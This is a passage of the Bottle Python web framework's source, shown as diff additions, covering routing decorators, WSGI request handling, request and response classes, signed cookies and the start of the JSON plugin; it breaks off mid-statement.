the decorator + syntax. ``route(..., callback=func)`` equals ``route(...)(func)`` + :param name: The name for this route. (default: None) + :param apply: A decorator or plugin or a list of plugins. These are + applied to the route callback in addition to installed plugins. + :param skip: A list of plugins, plugin classes or names. Matching + plugins are not installed to this route. ``True`` skips all. + + Any additional keyword arguments are stored as route-specific + configuration and passed to plugins (see :meth:`Plugin.apply`). + """ + if callable(path): path, callback = None, path + plugins = makelist(apply) + skiplist = makelist(skip) + + def decorator(callback): + if isinstance(callback, basestring): callback = load(callback) + for rule in makelist(path) or yieldroutes(callback): + for verb in makelist(method): + verb = verb.upper() + route = Route(self, rule, verb, callback, + name=name, + plugins=plugins, + skiplist=skiplist, **config) + self.add_route(route) + return callback + + return decorator(callback) if callback else decorator + + def get(self, path=None, method='GET', **options): + """ Equals :meth:`route`. """ + return self.route(path, method, **options) + + def post(self, path=None, method='POST', **options): + """ Equals :meth:`route` with a ``POST`` method parameter. """ + return self.route(path, method, **options) + + def put(self, path=None, method='PUT', **options): + """ Equals :meth:`route` with a ``PUT`` method parameter. """ + return self.route(path, method, **options) + + def delete(self, path=None, method='DELETE', **options): + """ Equals :meth:`route` with a ``DELETE`` method parameter. """ + return self.route(path, method, **options) + + def patch(self, path=None, method='PATCH', **options): + """ Equals :meth:`route` with a ``PATCH`` method parameter. """ + return self.route(path, method, **options) + + def error(self, code=500, callback=None): + """ Register an output handler for a HTTP error code. Can + be used as a decorator or called directly :: + + def error_handler_500(error): + return 'error_handler_500' + + app.error(code=500, callback=error_handler_500) + + @app.error(404) + def error_handler_404(error): + return 'error_handler_404' + + """ + + def decorator(callback): + if isinstance(callback, basestring): callback = load(callback) + self.error_handler[int(code)] = callback + return callback + + return decorator(callback) if callback else decorator + + def default_error_handler(self, res): + return tob(template(ERROR_PAGE_TEMPLATE, e=res, template_settings=dict(name='__ERROR_PAGE_TEMPLATE'))) + + def _handle(self, environ): + path = environ['bottle.raw_path'] = environ['PATH_INFO'] + if py3k: + environ['PATH_INFO'] = path.encode('latin1').decode('utf8', 'ignore') + + environ['bottle.app'] = self + request.bind(environ) + response.bind() + + try: + while True: # Remove in 0.14 together with RouteReset + out = None + try: + self.trigger_hook('before_request') + route, args = self.router.match(environ) + environ['route.handle'] = route + environ['bottle.route'] = route + environ['route.url_args'] = args + out = route.call(**args) + break + except HTTPResponse as E: + out = E + break + except RouteReset: + depr(0, 13, "RouteReset exception deprecated", + "Call route.call() after route.reset() and " + "return the result.") + route.reset() + continue + finally: + if isinstance(out, HTTPResponse): + out.apply(response) + try: + self.trigger_hook('after_request') + except HTTPResponse as E: + out = E + out.apply(response) + except (KeyboardInterrupt, SystemExit, MemoryError): + raise + except Exception as E: + if not self.catchall: raise + stacktrace = format_exc() + environ['wsgi.errors'].write(stacktrace) + environ['wsgi.errors'].flush() + environ['bottle.exc_info'] = sys.exc_info() + out = HTTPError(500, "Internal Server Error", E, stacktrace) + out.apply(response) + + return out + + def _cast(self, out, peek=None): + """ Try to convert the parameter into something WSGI compatible and set + correct HTTP headers when possible. + Support: False, str, unicode, dict, HTTPResponse, HTTPError, file-like, + iterable of strings and iterable of unicodes + """ + + # Empty output is done here + if not out: + if 'Content-Length' not in response: + response['Content-Length'] = 0 + return [] + # Join lists of byte or unicode strings. Mixed lists are NOT supported + if isinstance(out, (tuple, list))\ + and isinstance(out[0], (bytes, unicode)): + out = out[0][0:0].join(out) # b'abc'[0:0] -> b'' + # Encode unicode strings + if isinstance(out, unicode): + out = out.encode(response.charset) + # Byte Strings are just returned + if isinstance(out, bytes): + if 'Content-Length' not in response: + response['Content-Length'] = len(out) + return [out] + # HTTPError or HTTPException (recursive, because they may wrap anything) + # TODO: Handle these explicitly in handle() or make them iterable. + if isinstance(out, HTTPError): + out.apply(response) + out = self.error_handler.get(out.status_code, + self.default_error_handler)(out) + return self._cast(out) + if isinstance(out, HTTPResponse): + out.apply(response) + return self._cast(out.body) + + # File-like objects. + if hasattr(out, 'read'): + if 'wsgi.file_wrapper' in request.environ: + return request.environ['wsgi.file_wrapper'](out) + elif hasattr(out, 'close') or not hasattr(out, '__iter__'): + return WSGIFileWrapper(out) + + # Handle Iterables. We peek into them to detect their inner type. + try: + iout = iter(out) + first = next(iout) + while not first: + first = next(iout) + except StopIteration: + return self._cast('') + except HTTPResponse as E: + first = E + except (KeyboardInterrupt, SystemExit, MemoryError): + raise + except Exception as error: + if not self.catchall: raise + first = HTTPError(500, 'Unhandled exception', error, format_exc()) + + # These are the inner types allowed in iterator or generator objects. + if isinstance(first, HTTPResponse): + return self._cast(first) + elif isinstance(first, bytes): + new_iter = itertools.chain([first], iout) + elif isinstance(first, unicode): + encoder = lambda x: x.encode(response.charset) + new_iter = imap(encoder, itertools.chain([first], iout)) + else: + msg = 'Unsupported response type: %s' % type(first) + return self._cast(HTTPError(500, msg)) + if hasattr(out, 'close'): + new_iter = _closeiter(new_iter, out.close) + return new_iter + + def wsgi(self, environ, start_response): + """ The bottle WSGI-interface. """ + try: + out = self._cast(self._handle(environ)) + # rfc2616 section 4.3 + if response._status_code in (100, 101, 204, 304)\ + or environ['REQUEST_METHOD'] == 'HEAD': + if hasattr(out, 'close'): out.close() + out = [] + exc_info = environ.get('bottle.exc_info') + if exc_info is not None: + del environ['bottle.exc_info'] + start_response(response._wsgi_status_line(), response.headerlist, exc_info) + return out + except (KeyboardInterrupt, SystemExit, MemoryError): + raise + except Exception as E: + if not self.catchall: raise + err = '<h1>Critical error while processing request: %s</h1>' \ + % html_escape(environ.get('PATH_INFO', '/')) + if DEBUG: + err += '<h2>Error:</h2>\n<pre>\n%s\n</pre>\n' \ + '<h2>Traceback:</h2>\n<pre>\n%s\n</pre>\n' \ + % (html_escape(repr(E)), html_escape(format_exc())) + environ['wsgi.errors'].write(err) + environ['wsgi.errors'].flush() + headers = [('Content-Type', 'text/html; charset=UTF-8')] + start_response('500 INTERNAL SERVER ERROR', headers, sys.exc_info()) + return [tob(err)] + + def __call__(self, environ, start_response): + """ Each instance of :class:'Bottle' is a WSGI application. """ + return self.wsgi(environ, start_response) + + def __enter__(self): + """ Use this application as default for all module-level shortcuts. """ + default_app.push(self) + return self + + def __exit__(self, exc_type, exc_value, traceback): + default_app.pop() + + def __setattr__(self, name, value): + if name in self.__dict__: + raise AttributeError("Attribute %s already defined. Plugin conflict?" % name) + object.__setattr__(self, name, value) + +############################################################################### +# HTTP and WSGI Tools ########################################################## +############################################################################### + + +class BaseRequest(object): + """ A wrapper for WSGI environment dictionaries that adds a lot of + convenient access methods and properties. Most of them are read-only. + + Adding new attributes to a request actually adds them to the environ + dictionary (as 'bottle.request.ext.<name>'). This is the recommended + way to store and access request-specific data. + """ + + __slots__ = ('environ', ) + + #: Maximum size of memory buffer for :attr:`body` in bytes. + MEMFILE_MAX = 102400 + + def __init__(self, environ=None): + """ Wrap a WSGI environ dictionary. """ + #: The wrapped WSGI environ dictionary. This is the only real attribute. + #: All other attributes actually are read-only properties. + self.environ = {} if environ is None else environ + self.environ['bottle.request'] = self + + @DictProperty('environ', 'bottle.app', read_only=True) + def app(self): + """ Bottle application handling this request. """ + raise RuntimeError('This request is not connected to an application.') + + @DictProperty('environ', 'bottle.route', read_only=True) + def route(self): + """ The bottle :class:`Route` object that matches this request. """ + raise RuntimeError('This request is not connected to a route.') + + @DictProperty('environ', 'route.url_args', read_only=True) + def url_args(self): + """ The arguments extracted from the URL. """ + raise RuntimeError('This request is not connected to a route.') + + @property + def path(self): + """ The value of ``PATH_INFO`` with exactly one prefixed slash (to fix + broken clients and avoid the "empty path" edge case). """ + return '/' + self.environ.get('PATH_INFO', '').lstrip('/') + + @property + def method(self): + """ The ``REQUEST_METHOD`` value as an uppercase string. """ + return self.environ.get('REQUEST_METHOD', 'GET').upper() + + @DictProperty('environ', 'bottle.request.headers', read_only=True) + def headers(self): + """ A :class:`WSGIHeaderDict` that provides case-insensitive access to + HTTP request headers. """ + return WSGIHeaderDict(self.environ) + + def get_header(self, name, default=None): + """ Return the value of a request header, or a given default value. """ + return self.headers.get(name, default) + + @DictProperty('environ', 'bottle.request.cookies', read_only=True) + def cookies(self): + """ Cookies parsed into a :class:`FormsDict`. Signed cookies are NOT + decoded. Use :meth:`get_cookie` if you expect signed cookies. """ + cookies = SimpleCookie(self.environ.get('HTTP_COOKIE', '')).values() + return FormsDict((c.key, c.value) for c in cookies) + + def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): + """ Return the content of a cookie. To read a `Signed Cookie`, the + `secret` must match the one used to create the cookie (see + :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing + cookie or wrong signature), return a default value. """ + value = self.cookies.get(key) + if secret: + # See BaseResponse.set_cookie for details on signed cookies. + if value and value.startswith('!') and '?' in value: + sig, msg = map(tob, value[1:].split('?', 1)) + hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() + if _lscmp(sig, base64.b64encode(hash)): + dst = pickle.loads(base64.b64decode(msg)) + if dst and dst[0] == key: + return dst[1] + return default + return value or default + + @DictProperty('environ', 'bottle.request.query', read_only=True) + def query(self): + """ The :attr:`query_string` parsed into a :class:`FormsDict`. These + values are sometimes called "URL arguments" or "GET parameters", but + not to be confused with "URL wildcards" as they are provided by the + :class:`Router`. """ + get = self.environ['bottle.get'] = FormsDict() + pairs = _parse_qsl(self.environ.get('QUERY_STRING', '')) + for key, value in pairs: + get[key] = value + return get + + @DictProperty('environ', 'bottle.request.forms', read_only=True) + def forms(self): + """ Form values parsed from an `url-encoded` or `multipart/form-data` + encoded POST or PUT request body. The result is returned as a + :class:`FormsDict`. All keys and values are strings. File uploads + are stored separately in :attr:`files`. """ + forms = FormsDict() + forms.recode_unicode = self.POST.recode_unicode + for name, item in self.POST.allitems(): + if not isinstance(item, FileUpload): + forms[name] = item + return forms + + @DictProperty('environ', 'bottle.request.params', read_only=True) + def params(self): + """ A :class:`FormsDict` with the combined values of :attr:`query` and + :attr:`forms`. File uploads are stored in :attr:`files`. """ + params = FormsDict() + for key, value in self.query.allitems(): + params[key] = value + for key, value in self.forms.allitems(): + params[key] = value + return params + + @DictProperty('environ', 'bottle.request.files', read_only=True) + def files(self): + """ File uploads parsed from `multipart/form-data` encoded POST or PUT + request body. The values are instances of :class:`FileUpload`. + + """ + files = FormsDict() + files.recode_unicode = self.POST.recode_unicode + for name, item in self.POST.allitems(): + if isinstance(item, FileUpload): + files[name] = item + return files + + @DictProperty('environ', 'bottle.request.json', read_only=True) + def json(self): + """ If the ``Content-Type`` header is ``application/json`` or + ``application/json-rpc``, this property holds the parsed content + of the request body. Only requests smaller than :attr:`MEMFILE_MAX` + are processed to avoid memory exhaustion. + Invalid JSON raises a 400 error response. + """ + ctype = self.environ.get('CONTENT_TYPE', '').lower().split(';')[0] + if ctype in ('application/json', 'application/json-rpc'): + b = self._get_body_string(self.MEMFILE_MAX) + if not b: + return None + try: + return json_loads(b) + except (ValueError, TypeError): + raise HTTPError(400, 'Invalid JSON') + return None + + def _iter_body(self, read, bufsize): + maxread = max(0, self.content_length) + while maxread: + part = read(min(maxread, bufsize)) + if not part: break + yield part + maxread -= len(part) + + @staticmethod + def _iter_chunked(read, bufsize): + err = HTTPError(400, 'Error while parsing chunked transfer body.') + rn, sem, bs = tob('\r\n'), tob(';'), tob('') + while True: + header = read(1) + while header[-2:] != rn: + c = read(1) + header += c + if not c: raise err + if len(header) > bufsize: raise err + size, _, _ = header.partition(sem) + try: + maxread = int(tonat(size.strip()), 16) + except ValueError: + raise err + if maxread == 0: break + buff = bs + while maxread > 0: + if not buff: + buff = read(min(maxread, bufsize)) + part, buff = buff[:maxread], buff[maxread:] + if not part: raise err + yield part + maxread -= len(part) + if read(2) != rn: + raise err + + @DictProperty('environ', 'bottle.request.body', read_only=True) + def _body(self): + try: + read_func = self.environ['wsgi.input'].read + except KeyError: + self.environ['wsgi.input'] = BytesIO() + return self.environ['wsgi.input'] + body_iter = self._iter_chunked if self.chunked else self._iter_body + body, body_size, is_temp_file = BytesIO(), 0, False + for part in body_iter(read_func, self.MEMFILE_MAX): + body.write(part) + body_size += len(part) + if not is_temp_file and body_size > self.MEMFILE_MAX: + body, tmp = NamedTemporaryFile(mode='w+b'), body + body.write(tmp.getvalue()) + del tmp + is_temp_file = True + self.environ['wsgi.input'] = body + body.seek(0) + return body + + def _get_body_string(self, maxread): + """ Read body into a string. Raise HTTPError(413) on requests that are + too large. """ + if self.content_length > maxread: + raise HTTPError(413, 'Request entity too large') + data = self.body.read(maxread + 1) + if len(data) > maxread: + raise HTTPError(413, 'Request entity too large') + return data + + @property + def body(self): + """ The HTTP request body as a seek-able file-like object. Depending on + :attr:`MEMFILE_MAX`, this is either a temporary file or a + :class:`io.BytesIO` instance. Accessing this property for the first + time reads and replaces the ``wsgi.input`` environ variable. + Subsequent accesses just do a `seek(0)` on the file object. """ + self._body.seek(0) + return self._body + + @property + def chunked(self): + """ True if Chunked transfer encoding was. """ + return 'chunked' in self.environ.get( + 'HTTP_TRANSFER_ENCODING', '').lower() + + #: An alias for :attr:`query`. + GET = query + + @DictProperty('environ', 'bottle.request.post', read_only=True) + def POST(self): + """ The values of :attr:`forms` and :attr:`files` combined into a single + :class:`FormsDict`. Values are either strings (form values) or + instances of :class:`FileUpload`. + """ + post = FormsDict() + content_type = self.environ.get('CONTENT_TYPE', '') + content_type, options = _parse_http_header(content_type)[0] + # We default to application/x-www-form-urlencoded for everything that + # is not multipart and take the fast path (also: 3.1 workaround) + if not content_type.startswith('multipart/'): + body = tonat(self._get_body_string(self.MEMFILE_MAX), 'latin1') + for key, value in _parse_qsl(body): + post[key] = value + return post + + post.recode_unicode = False + charset = options.get("charset", "utf8") + boundary = options.get("boundary") + if not boundary: + raise MultipartError("Invalid content type header, missing boundary") + parser = _MultipartParser(self.body, boundary, self.content_length, + mem_limit=self.MEMFILE_MAX, memfile_limit=self.MEMFILE_MAX, + charset=charset) + + for part in parser.parse(): + if not part.filename and part.is_buffered(): + post[part.name] = tonat(part.value, 'utf8') + else: + post[part.name] = FileUpload(part.file, part.name, + part.filename, part.headerlist) + + return post + + @property + def url(self): + """ The full request URI including hostname and scheme. If your app + lives behind a reverse proxy or load balancer and you get confusing + results, make sure that the ``X-Forwarded-Host`` header is set + correctly. """ + return self.urlparts.geturl() + + @DictProperty('environ', 'bottle.request.urlparts', read_only=True) + def urlparts(self): + """ The :attr:`url` string as an :class:`urlparse.SplitResult` tuple. + The tuple contains (scheme, host, path, query_string and fragment), + but the fragment is always empty because it is not visible to the + server. """ + env = self.environ + http = env.get('HTTP_X_FORWARDED_PROTO') \ + or env.get('wsgi.url_scheme', 'http') + host = env.get('HTTP_X_FORWARDED_HOST') or env.get('HTTP_HOST') + if not host: + # HTTP 1.1 requires a Host-header. This is for HTTP/1.0 clients. + host = env.get('SERVER_NAME', '127.0.0.1') + port = env.get('SERVER_PORT') + if port and port != ('80' if http == 'http' else '443'): + host += ':' + port + path = urlquote(self.fullpath) + return UrlSplitResult(http, host, path, env.get('QUERY_STRING'), '') + + @property + def fullpath(self): + """ Request path including :attr:`script_name` (if present). """ + return urljoin(self.script_name, self.path.lstrip('/')) + + @property + def query_string(self): + """ The raw :attr:`query` part of the URL (everything in between ``?`` + and ``#``) as a string. """ + return self.environ.get('QUERY_STRING', '') + + @property + def script_name(self): + """ The initial portion of the URL's `path` that was removed by a higher + level (server or routing middleware) before the application was + called. This script path is returned with leading and tailing + slashes. """ + script_name = self.environ.get('SCRIPT_NAME', '').strip('/') + return '/' + script_name + '/' if script_name else '/' + + def path_shift(self, shift=1): + """ Shift path segments from :attr:`path` to :attr:`script_name` and + vice versa. + + :param shift: The number of path segments to shift. May be negative + to change the shift direction. (default: 1) + """ + script, path = path_shift(self.environ.get('SCRIPT_NAME', '/'), self.path, shift) + self['SCRIPT_NAME'], self['PATH_INFO'] = script, path + + @property + def content_length(self): + """ The request body length as an integer. The client is responsible to + set this header. Otherwise, the real length of the body is unknown + and -1 is returned. In this case, :attr:`body` will be empty. """ + return int(self.environ.get('CONTENT_LENGTH') or -1) + + @property + def content_type(self): + """ The Content-Type header as a lowercase-string (default: empty). """ + return self.environ.get('CONTENT_TYPE', '').lower() + + @property + def is_xhr(self): + """ True if the request was triggered by a XMLHttpRequest. This only + works with JavaScript libraries that support the `X-Requested-With` + header (most of the popular libraries do). """ + requested_with = self.environ.get('HTTP_X_REQUESTED_WITH', '') + return requested_with.lower() == 'xmlhttprequest' + + @property + def is_ajax(self): + """ Alias for :attr:`is_xhr`. "Ajax" is not the right term. """ + return self.is_xhr + + @property + def auth(self): + """ HTTP authentication data as a (user, password) tuple. This + implementation currently supports basic (not digest) authentication + only. If the authentication happened at a higher level (e.g. in the + front web-server or a middleware), the password field is None, but + the user field is looked up from the ``REMOTE_USER`` environ + variable. On any errors, None is returned. """ + basic = parse_auth(self.environ.get('HTTP_AUTHORIZATION', '')) + if basic: return basic + ruser = self.environ.get('REMOTE_USER') + if ruser: return (ruser, None) + return None + + @property + def remote_route(self): + """ A list of all IPs that were involved in this request, starting with + the client IP and followed by zero or more proxies. This does only + work if all proxies support the ```X-Forwarded-For`` header. Note + that this information can be forged by malicious clients. """ + proxy = self.environ.get('HTTP_X_FORWARDED_FOR') + if proxy: return [ip.strip() for ip in proxy.split(',')] + remote = self.environ.get('REMOTE_ADDR') + return [remote] if remote else [] + + @property + def remote_addr(self): + """ The client IP as a string. Note that this information can be forged + by malicious clients. """ + route = self.remote_route + return route[0] if route else None + + def copy(self): + """ Return a new :class:`Request` with a shallow :attr:`environ` copy. """ + return Request(self.environ.copy()) + + def get(self, value, default=None): + return self.environ.get(value, default) + + def __getitem__(self, key): + return self.environ[key] + + def __delitem__(self, key): + self[key] = "" + del (self.environ[key]) + + def __iter__(self): + return iter(self.environ) + + def __len__(self): + return len(self.environ) + + def keys(self): + return self.environ.keys() + + def __setitem__(self, key, value): + """ Change an environ value and clear all caches that depend on it. """ + + if self.environ.get('bottle.request.readonly'): + raise KeyError('The environ dictionary is read-only.') + + self.environ[key] = value + todelete = () + + if key == 'wsgi.input': + todelete = ('body', 'forms', 'files', 'params', 'post', 'json') + elif key == 'QUERY_STRING': + todelete = ('query', 'params') + elif key.startswith('HTTP_'): + todelete = ('headers', 'cookies') + + for key in todelete: + self.environ.pop('bottle.request.' + key, None) + + def __repr__(self): + return '<%s: %s %s>' % (self.__class__.__name__, self.method, self.url) + + def __getattr__(self, name): + """ Search in self.environ for additional user defined attributes. """ + try: + var = self.environ['bottle.request.ext.%s' % name] + return var.__get__(self) if hasattr(var, '__get__') else var + except KeyError: + raise AttributeError('Attribute %r not defined.' % name) + + def __setattr__(self, name, value): + """ Define new attributes that are local to the bound request environment. """ + if name == 'environ': return object.__setattr__(self, name, value) + key = 'bottle.request.ext.%s' % name + if hasattr(self, name): + raise AttributeError("Attribute already defined: %s" % name) + self.environ[key] = value + + def __delattr__(self, name): + try: + del self.environ['bottle.request.ext.%s' % name] + except KeyError: + raise AttributeError("Attribute not defined: %s" % name) + + +def _hkey(key): + if '\n' in key or '\r' in key or '\0' in key: + raise ValueError("Header names must not contain control characters: %r" % key) + return key.title().replace('_', '-') + + +def _hval(value): + value = tonat(value) + if '\n' in value or '\r' in value or '\0' in value: + raise ValueError("Header value must not contain control characters: %r" % value) + return value + + +class HeaderProperty(object): + def __init__(self, name, reader=None, writer=None, default=''): + self.name, self.default = name, default + self.reader, self.writer = reader, writer + self.__doc__ = 'Current value of the %r header.' % name.title() + + def __get__(self, obj, _): + if obj is None: return self + value = obj.get_header(self.name, self.default) + return self.reader(value) if self.reader else value + + def __set__(self, obj, value): + obj[self.name] = self.writer(value) if self.writer else value + + def __delete__(self, obj): + del obj[self.name] + + +class BaseResponse(object): + """ Storage class for a response body as well as headers and cookies. + + This class does support dict-like case-insensitive item-access to + headers, but is NOT a dict. Most notably, iterating over a response + yields parts of the body and not the headers. + """ + + default_status = 200 + default_content_type = 'text/html; charset=UTF-8' + + # Header denylist for specific response codes + # (rfc2616 section 10.2.3 and 10.3.5) + bad_headers = { + 204: frozenset(('Content-Type', 'Content-Length')), + 304: frozenset(('Allow', 'Content-Encoding', 'Content-Language', + 'Content-Length', 'Content-Range', 'Content-Type', + 'Content-Md5', 'Last-Modified')) + } + + def __init__(self, body='', status=None, headers=None, **more_headers): + """ Create a new response object. + + :param body: The response body as one of the supported types. + :param status: Either an HTTP status code (e.g. 200) or a status line + including the reason phrase (e.g. '200 OK'). + :param headers: A dictionary or a list of name-value pairs. + + Additional keyword arguments are added to the list of headers. + Underscores in the header name are replaced with dashes. + """ + self._cookies = None + self._headers = {} + self.body = body + self.status = status or self.default_status + if headers: + if isinstance(headers, dict): + headers = headers.items() + for name, value in headers: + self.add_header(name, value) + if more_headers: + for name, value in more_headers.items(): + self.add_header(name, value) + + def copy(self, cls=None): + """ Returns a copy of self. """ + cls = cls or BaseResponse + assert issubclass(cls, BaseResponse) + copy = cls() + copy.status = self.status + copy._headers = dict((k, v[:]) for (k, v) in self._headers.items()) + if self._cookies: + cookies = copy._cookies = SimpleCookie() + for k,v in self._cookies.items(): + cookies[k] = v.value + cookies[k].update(v) # also copy cookie attributes + return copy + + def __iter__(self): + return iter(self.body) + + def close(self): + if hasattr(self.body, 'close'): + self.body.close() + + @property + def status_line(self): + """ The HTTP status line as a string (e.g. ``404 Not Found``).""" + return self._status_line + + @property + def status_code(self): + """ The HTTP status code as an integer (e.g. 404).""" + return self._status_code + + def _set_status(self, status): + if isinstance(status, int): + code, status = status, _HTTP_STATUS_LINES.get(status) + elif ' ' in status: + if '\n' in status or '\r' in status or '\0' in status: + raise ValueError('Status line must not include control chars.') + status = status.strip() + code = int(status.split()[0]) + else: + raise ValueError('String status line without a reason phrase.') + if not 100 <= code <= 999: + raise ValueError('Status code out of range.') + self._status_code = code + self._status_line = str(status or ('%d Unknown' % code)) + + def _get_status(self): + return self._status_line + + status = property( + _get_status, _set_status, None, + ''' A writeable property to change the HTTP response status. It accepts + either a numeric code (100-999) or a string with a custom reason + phrase (e.g. "404 Brain not found"). Both :data:`status_line` and + :data:`status_code` are updated accordingly. The return value is + always a status string. ''') + del _get_status, _set_status + + @property + def headers(self): + """ An instance of :class:`HeaderDict`, a case-insensitive dict-like + view on the response headers. """ + hdict = HeaderDict() + hdict.dict = self._headers + return hdict + + def __contains__(self, name): + return _hkey(name) in self._headers + + def __delitem__(self, name): + del self._headers[_hkey(name)] + + def __getitem__(self, name): + return self._headers[_hkey(name)][-1] + + def __setitem__(self, name, value): + self._headers[_hkey(name)] = [_hval(value)] + + def get_header(self, name, default=None): + """ Return the value of a previously defined header. If there is no + header with that name, return a default value. """ + return self._headers.get(_hkey(name), [default])[-1] + + def set_header(self, name, value): + """ Create a new response header, replacing any previously defined + headers with the same name. """ + self._headers[_hkey(name)] = [_hval(value)] + + def add_header(self, name, value): + """ Add an additional response header, not removing duplicates. """ + self._headers.setdefault(_hkey(name), []).append(_hval(value)) + + def iter_headers(self): + """ Yield (header, value) tuples, skipping headers that are not + allowed with the current response status code. """ + return self.headerlist + + def _wsgi_status_line(self): + """ WSGI conform status line (latin1-encodeable) """ + if py3k: + return self._status_line.encode('utf8').decode('latin1') + return self._status_line + + @property + def headerlist(self): + """ WSGI conform list of (header, value) tuples. """ + out = [] + headers = list(self._headers.items()) + if 'Content-Type' not in self._headers: + headers.append(('Content-Type', [self.default_content_type])) + if self._status_code in self.bad_headers: + bad_headers = self.bad_headers[self._status_code] + headers = [h for h in headers if h[0] not in bad_headers] + out += [(name, val) for (name, vals) in headers for val in vals] + if self._cookies: + for c in self._cookies.values(): + out.append(('Set-Cookie', _hval(c.OutputString()))) + if py3k: + out = [(k, v.encode('utf8').decode('latin1')) for (k, v) in out] + return out + + content_type = HeaderProperty('Content-Type') + content_length = HeaderProperty('Content-Length', reader=int, default=-1) + expires = HeaderProperty( + 'Expires', + reader=lambda x: datetime.fromtimestamp(parse_date(x), UTC), + writer=lambda x: http_date(x)) + + @property + def charset(self, default='UTF-8'): + """ Return the charset specified in the content-type header (default: utf8). """ + if 'charset=' in self.content_type: + return self.content_type.split('charset=')[-1].split(';')[0].strip() + return default + + def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options): + """ Create a new cookie or replace an old one. If the `secret` parameter is + set, create a `Signed Cookie` (described below). + + :param name: the name of the cookie. + :param value: the value of the cookie. + :param secret: a signature key required for signed cookies. + + Additionally, this method accepts all RFC 2109 attributes that are + supported by :class:`cookie.Morsel`, including: + + :param maxage: maximum age in seconds. (default: None) + :param expires: a datetime object or UNIX timestamp. (default: None) + :param domain: the domain that is allowed to read the cookie. + (default: current domain) + :param path: limits the cookie to a given path (default: current path) + :param secure: limit the cookie to HTTPS connections (default: off). + :param httponly: prevents client-side javascript to read this cookie + (default: off, requires Python 2.6 or newer). + :param samesite: Control or disable third-party use for this cookie. + Possible values: `lax`, `strict` or `none` (default). + + If neither `expires` nor `maxage` is set (default), the cookie will + expire at the end of the browser session (as soon as the browser + window is closed). + + Signed cookies may store any pickle-able object and are + cryptographically signed to prevent manipulation. Keep in mind that + cookies are limited to 4kb in most browsers. + + Warning: Pickle is a potentially dangerous format. If an attacker + gains access to the secret key, he could forge cookies that execute + code on server side if unpickled. Using pickle is discouraged and + support for it will be removed in later versions of bottle. + + Warning: Signed cookies are not encrypted (the client can still see + the content) and not copy-protected (the client can restore an old + cookie). The main intention is to make pickling and unpickling + save, not to store secret information at client side. + """ + if not self._cookies: + self._cookies = SimpleCookie() + + # Monkey-patch Cookie lib to support 'SameSite' parameter + # https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1 + if py < (3, 8, 0): + Morsel._reserved.setdefault('samesite', 'SameSite') + + if secret: + if not isinstance(value, basestring): + depr(0, 13, "Pickling of arbitrary objects into cookies is " + "deprecated.", "Only store strings in cookies. " + "JSON strings are fine, too.") + encoded = base64.b64encode(pickle.dumps([name, value], -1)) + sig = base64.b64encode(hmac.new(tob(secret), encoded, + digestmod=digestmod).digest()) + value = touni(tob('!') + sig + tob('?') + encoded) + elif not isinstance(value, basestring): + raise TypeError('Secret key required for non-string cookies.') + + # Cookie size plus options must not exceed 4kb. + if len(name) + len(value) > 3800: + raise ValueError('Content does not fit into a cookie.') + + self._cookies[name] = value + + for key, value in options.items(): + if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13 + key = 'max-age' + if isinstance(value, timedelta): + value = value.seconds + value.days * 24 * 3600 + if key == 'expires': + value = http_date(value) + if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13 + key, value = 'samesite', (value or "none").lower() + if value not in ('lax', 'strict', 'none'): + raise CookieError("Invalid value for SameSite") + if key in ('secure', 'httponly') and not value: + continue + self._cookies[name][key] = value + + def delete_cookie(self, key, **kwargs): + """ Delete a cookie. Be sure to use the same `domain` and `path` + settings as used to create the cookie. """ + kwargs['max_age'] = -1 + kwargs['expires'] = 0 + self.set_cookie(key, '', **kwargs) + + def __repr__(self): + out = '' + for name, value in self.headerlist: + out += '%s: %s\n' % (name.title(), value.strip()) + return out + + +def _local_property(): + ls = threading.local() + + def fget(_): + try: + return ls.var + except AttributeError: + raise RuntimeError("Request context not initialized.") + + def fset(_, value): + ls.var = value + + def fdel(_): + del ls.var + + return property(fget, fset, fdel, 'Thread-local property') + + +class LocalRequest(BaseRequest): + """ A thread-local subclass of :class:`BaseRequest` with a different + set of attributes for each thread. There is usually only one global + instance of this class (:data:`request`). If accessed during a + request/response cycle, this instance always refers to the *current* + request (even on a multithreaded server). """ + bind = BaseRequest.__init__ + environ = _local_property() + + +class LocalResponse(BaseResponse): + """ A thread-local subclass of :class:`BaseResponse` with a different + set of attributes for each thread. There is usually only one global + instance of this class (:data:`response`). Its attributes are used + to build the HTTP response at the end of the request/response cycle. + """ + bind = BaseResponse.__init__ + _status_line = _local_property() + _status_code = _local_property() + _cookies = _local_property() + _headers = _local_property() + body = _local_property() + + +Request = BaseRequest +Response = BaseResponse + + +class HTTPResponse(Response, BottleException): + """ A subclass of :class:`Response` that can be raised or returned from request + handlers to short-curcuit request processing and override changes made to the + global :data:`request` object. This bypasses error handlers, even if the status + code indicates an error. Return or raise :class:`HTTPError` to trigger error + handlers. + """ + + def __init__(self, body='', status=None, headers=None, **more_headers): + super(HTTPResponse, self).__init__(body, status, headers, **more_headers) + + def apply(self, other): + """ Copy the state of this response to a different :class:`Response` object. """ + other._status_code = self._status_code + other._status_line = self._status_line + other._headers = self._headers + other._cookies = self._cookies + other.body = self.body + + +class HTTPError(HTTPResponse): + """ A subclass of :class:`HTTPResponse` that triggers error handlers. """ + + default_status = 500 + + def __init__(self, + status=None, + body=None, + exception=None, + traceback=None, **more_headers): + self.exception = exception + self.traceback = traceback + super(HTTPError, self).__init__(body, status, **more_headers) + +############################################################################### +# Plugins ###################################################################### +############################################################################### + + +class PluginError(BottleException): + pass + + +class JSONPlugin(object): + name = 'json' + api = 2 + + def __init__(self, json_dumps=json_dumps): + self.json_dumps = json_dumps + + def setup(self, app): + app.config._define('json.enable', default=True, validate=bool, + help="Enable or disable automatic dict->json filter.") + app.config._define('json.ascii', default=False, validate=bool, + help="Use only 7-bit ASCII characters in output.") + app.config._define('json.indent', default=True, validate=bool, + help="Add whitespace to make json more readable.") + app.config._define('json.dump_func', default=None, + help="If defined, use this function to transform" + " dict into json. The other options no longer" + " apply.") + + def apply(self, callback, route): + dumps = self.json_dumps + if not self.json_dumps: return callback + + @functools.wraps(callback) + def wrapper(*a, **ka): + try: + rv = callback(*a, **ka) + except HTTPResponse as resp: + rv = resp + + if isinstance(rv, dict): + #Attempt to serialize, raises exception on failure + json_response = dumps(rv) + #Set content type only if serialization successful + response.content_type = 'application/json' + return json_response + elif isinstance(rv, HTTPResponse) and 